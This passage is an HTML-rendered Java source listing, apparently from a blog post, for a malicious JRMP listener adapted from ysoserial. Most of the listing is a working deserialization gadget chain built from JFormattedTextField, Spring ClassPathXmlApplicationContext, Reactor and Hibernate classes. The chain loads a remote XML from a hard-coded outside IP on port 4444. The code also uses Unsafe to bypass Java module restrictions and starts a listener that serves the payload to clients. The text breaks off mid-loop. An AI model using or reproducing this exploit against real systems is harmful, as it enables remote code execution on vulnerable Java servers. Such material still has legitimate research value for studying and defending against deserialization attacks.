class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.reflect.ReflectTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.source.SourceTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.unsafe.UnSafeTools;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassClassPath;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.engine.spi.TypedValue;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.internal.util.ReflectHelper;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.tuple.component.AbstractComponentTuplizer;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.tuple.component.PojoComponentTuplizer;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.AbstractType;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.ComponentType;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.type.Type;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.transport.TransportConstants;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> javax.net.ServerSocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.swing.*;</span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;</span><br><span class="line"><span class="keyword">import</span> javax.swing.text.DefaultFormatter;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.CompoundEdit;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.net.*;</span><br><span class="line"><span class="keyword">import</span> java.rmi.MarshalException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.ObjID;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UID;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Vector;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Generic JRMP listener</span></span><br><span class="line"><span class="comment"> * &lt;p&gt;</span></span><br><span class="line"><span class="comment"> * Opens up an JRMP listener that will deliver the specified payload to any</span></span><br><span class="line"><span class="comment"> * client connecting to it and making a call.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> mbechler</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@SuppressWarnings(&#123;</span></span><br><span class="line"><span class="meta">    &quot;restriction&quot;</span></span><br><span class="line"><span class="meta">&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JRMPListener</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> port;</span><br><span class="line">    <span class="keyword">private</span> Object payloadObject;</span><br><span class="line">    <span class="keyword">private</span> ServerSocket ss;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">Object</span> <span class="variable">waitLock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> exit;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> hadConnection;</span><br><span class="line">    <span class="keyword">private</span> URL classpathUrl;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">JRMPListener</span><span class="params">(<span class="type">int</span> port, Object payloadObject)</span> <span class="keyword">throws</span> NumberFormatException, IOException &#123;</span><br><span class="line">        <span class="built_in">this</span>.port = port;</span><br><span class="line">        <span class="built_in">this</span>.payloadObject = payloadObject;</span><br><span class="line">        <span class="built_in">this</span>.ss = ServerSocketFactory.getDefault().createServerSocket(<span class="built_in">this</span>.port);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">JRMPListener</span><span class="params">(<span class="type">int</span> port, String className, URL classpathUrl)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="built_in">this</span>.port = port;</span><br><span class="line">        <span class="built_in">this</span>.payloadObject = makeDummyObject(className);</span><br><span class="line">        <span class="built_in">this</span>.classpathUrl = classpathUrl;</span><br><span class="line">        <span class="built_in">this</span>.ss = ServerSocketFactory.getDefault().createServerSocket(<span class="built_in">this</span>.port);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">JRMPListener</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">JRMPListener</span>().bypassModule();</span><br><span class="line"><span class="comment">//        if (args.length &lt; 3) &#123;</span></span><br><span class="line"><span class="comment">//            System.err.println(JRMPListener.class.getName() + &quot; &lt;port&gt; &lt;payload_type&gt; &lt;payload_arg&gt;&quot;);</span></span><br><span class="line"><span class="comment">//            System.exit(-1);</span></span><br><span class="line"><span class="comment">//            return;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="keyword">final</span> <span class="type">Object</span> <span class="variable">payloadObject</span> <span class="operator">=</span> makePayloadObject();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">1389</span>;</span><br><span class="line">            System.err.println(<span class="string">&quot;* Opening JRMP listener on &quot;</span> + port);</span><br><span class="line">            <span class="type">JRMPListener</span> <span class="variable">c</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JRMPListener</span>(port, payloadObject);</span><br><span class="line">            c.run();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.err.println(<span class="string">&quot;Listener error&quot;</span>);</span><br><span class="line">            e.printStackTrace(System.err);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> Object <span class="title function_">makePayloadObject</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">DefaultFormatter</span> <span class="variable">defaultFormatter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DefaultFormatter</span>();</span><br><span class="line">        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);</span><br><span class="line">        <span class="type">JFormattedTextField</span> <span class="variable">jFormattedTextField</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JFormattedTextField</span>(defaultFormatter);</span><br><span class="line">        jFormattedTextField.setValue(<span class="string">&quot;http://106.54.209.118:4444/poc.xml&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; handler = Class.forName(<span class="string">&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> UnSafeTools.newClass(handler);</span><br><span class="line">        UnSafeTools.setObject(o, Class.forName(<span class="string">&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;</span>).getDeclaredField(<span class="string">&quot;this$0&quot;</span>), jFormattedTextField);</span><br><span class="line"></span><br><span class="line">        Class&lt;?&gt; execRunnable = Class.forName(<span class="string">&quot;reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">exec</span> <span class="operator">=</span> UnSafeTools.newClass(execRunnable);</span><br><span class="line">        UnSafeTools.setObject(exec,execRunnable.getDeclaredField(<span class="string">&quot;task&quot;</span>),o);</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">makeHibernate5Getter</span> <span class="operator">=</span> makeHibernate5Getter(execRunnable, <span class="string">&quot;run&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> makeHibernate45Caller( exec,makeHibernate5Getter);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> o1;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">makeHibernate5Getter</span><span class="params">(Class&lt;?&gt; tplClass, String method)</span> <span class="keyword">throws</span> NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException &#123;</span><br><span class="line">        Class&lt;?&gt; getterIf = Class.forName(<span class="string">&quot;org.hibernate.property.access.spi.Getter&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; basicGetter = Class.forName(<span class="string">&quot;org.hibernate.property.access.spi.GetterMethodImpl&quot;</span>);</span><br><span class="line">        Constructor&lt;?&gt; bgCon = basicGetter.getConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; Class.class, String.class, Method.class &#125;);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">g</span> <span class="operator">=</span> bgCon.newInstance(<span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; tplClass, <span class="string">&quot;run&quot;</span>, tplClass.getDeclaredMethod(method, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]) &#125;);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">arr</span> <span class="operator">=</span> Array.newInstance(getterIf, <span class="number">1</span>);</span><br><span class="line">        Array.set(arr, <span class="number">0</span>, g);</span><br><span class="line">        <span class="keyword">return</span> arr;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">static</span> Object <span class="title function_">makeHibernate45Caller</span><span class="params">(Object tpl, Object getters)</span> <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">PojoComponentTuplizer</span> <span class="variable">tup</span> <span class="operator">=</span> (PojoComponentTuplizer)ReflectTools.createWithoutConstructor(PojoComponentTuplizer.class);</span><br><span class="line">        ReflectTools.getField(AbstractComponentTuplizer.class, <span class="string">&quot;getters&quot;</span>).set(tup, getters);</span><br><span class="line">        <span class="type">ComponentType</span> <span class="variable">t</span> <span class="operator">=</span> (ComponentType)ReflectTools.createWithConstructor(ComponentType.class, AbstractType.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">        ReflectTools.setFieldValue(t, <span class="string">&quot;componentTuplizer&quot;</span>, tup);</span><br><span class="line">        ReflectTools.setFieldValue(t, <span class="string">&quot;propertySpan&quot;</span>, Integer.valueOf(<span class="number">1</span>));</span><br><span class="line">        ReflectTools.setFieldValue(t, <span class="string">&quot;propertyTypes&quot;</span>, <span class="keyword">new</span> <span class="title class_">Type</span>[] &#123; (Type)t &#125;);</span><br><span class="line">        <span class="type">TypedValue</span> <span class="variable">v1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypedValue</span>((Type)t, <span class="literal">null</span>);</span><br><span class="line">        ReflectTools.setFieldValue(v1, <span class="string">&quot;value&quot;</span>, tpl);</span><br><span class="line">        ReflectTools.setFieldValue(v1, <span class="string">&quot;type&quot;</span>, t);</span><br><span class="line">        <span class="type">TypedValue</span> <span class="variable">v2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypedValue</span>((Type)t, <span class="literal">null</span>);</span><br><span class="line">        ReflectTools.setFieldValue(v2, <span class="string">&quot;value&quot;</span>, tpl);</span><br><span class="line">        ReflectTools.setFieldValue(v2, <span class="string">&quot;type&quot;</span>, t);</span><br><span class="line"></span><br><span class="line">        HashMap&lt;Object, Object&gt; s = <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">size</span> <span class="operator">=</span> s.getClass().getDeclaredField(<span class="string">&quot;size&quot;</span>);</span><br><span class="line">        ReflectTools.setAccessible(size);</span><br><span class="line">        size.set(s,<span class="number">2</span>);</span><br><span class="line">        Class nodeC;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$Node&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ClassNotFoundException var6) &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$EntAry&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);</span><br><span class="line">        ReflectTools.setAccessible(nodeCons);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line">        Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, v1, v1, <span class="literal">null</span>));</span><br><span class="line">        Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, v2, v2, <span class="literal">null</span>));</span><br><span class="line">        <span class="type">Field</span> <span class="variable">table</span> <span class="operator">=</span> s.getClass().getDeclaredField(<span class="string">&quot;table&quot;</span>);</span><br><span class="line">        ReflectTools.setAccessible(table);</span><br><span class="line">        table.set(s,tbl);</span><br><span class="line">        <span class="keyword">return</span> s;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@SuppressWarnings(&#123;&quot;deprecation&quot;&#125;)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">static</span> Object <span class="title function_">makeDummyObject</span><span class="params">(String className)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">ClassLoader</span> <span class="variable">isolation</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassLoader</span>() &#123;</span><br><span class="line">            &#125;;</span><br><span class="line">            <span class="type">ClassPool</span> <span class="variable">cp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassPool</span>();</span><br><span class="line">            cp.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(Dummy.class));</span><br><span class="line">            <span class="type">CtClass</span> <span class="variable">clazz</span> <span class="operator">=</span> cp.get(Dummy.class.getName());</span><br><span class="line">            clazz.setName(className);</span><br><span class="line">            <span class="keyword">return</span> clazz.toClass(isolation).newInstance();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">bypassModule</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;), JFormattedTextField.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;));</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName(&quot;javax.swing.JFormattedTextField$FocusLostHandler&quot;));</span></span><br><span class="line">        UnSafeTools.bypassModule(ReflectTools.class, HashMap.class);</span><br><span class="line">        UnSafeTools.bypassModule(ReflectTools.class, CompoundEdit.class);</span><br><span class="line">        UnSafeTools.bypassModule(ReflectTools.class, <span class="type">int</span>.class);</span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName(&quot;java.util.HashMap$Node&quot;));</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName(&quot;reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable&quot;));</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">waitFor</span><span class="params">(<span class="type">int</span> i)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>.hadConnection) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            System.err.println(<span class="string">&quot;Waiting for connection&quot;</span>);</span><br><span class="line">            <span class="keyword">synchronized</span> (<span class="built_in">this</span>.waitLock) &#123;</span><br><span class="line">                <span class="built_in">this</span>.waitLock.wait(i);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">this</span>.hadConnection;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">close</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.exit = <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.ss.close();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">synchronized</span> (<span class="built_in">this</span>.waitLock) &#123;</span><br><span class="line">            <span class="built_in">this</span>.waitLock.notify();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Socket</span> <span class="variable">s</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">while</span> (!<span class="built_in">this</span>.exit &amp;&amp; (s = <span class="built_in">this</span>.ss.accept()) != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        s.setSoTimeout(<span class="number">5000</span>);</span><br><span class="line">                        <span class="type">InetSocketAddress</span> <span class="variable">remote</span> <span class="operator">=</span> (InetSocketAddress) s.getRemoteSocketAddress();</span><br><span class="line">                        System.err.println(<span class="string">&quot;Have connection from &quot;</span> + remote);</span><br><span class="line"></span><br><span class="line">                        <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> s.getInputStream();</span><br><span class="line">                        <span class="type">InputStream</span> <span class="variable">bufIn</span> <span class="operator">=</span> is.markSupported() ? is : <span class="keyword">new</span> <span class="title class_">BufferedInputStream</span>(is);</span><br><span class="line"></span><br><span class="line">                        <span class="comment">// Read magic (or HTTP wrapper)</span></span><br><span class="line">                        bufIn.mark(<span class="number">4</span>);</span><br><span class="line">                        <span class="type">DataInputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataInputStream</span>(bufIn);</span><br><span class="line">                        <span class="type">int</span> <span class="variable">magic</span> <span class="operator">=</span> in.readInt();</span><br><span class="line"></span><br><span class="line">                        <span class="type">short</span> <span class="variable">version</span> <span class="operator">=</span> in.readShort();</span><br><span class="line">                        <span class="keyword">if</span> (magic != TransportConstants.Magic || version != TransportConstants.Version) &#123;</span><br><span class="line">                            s.close();</span><br><span class="line">                            <span class="keyword">continue</span>;</span><br><span class="line">                        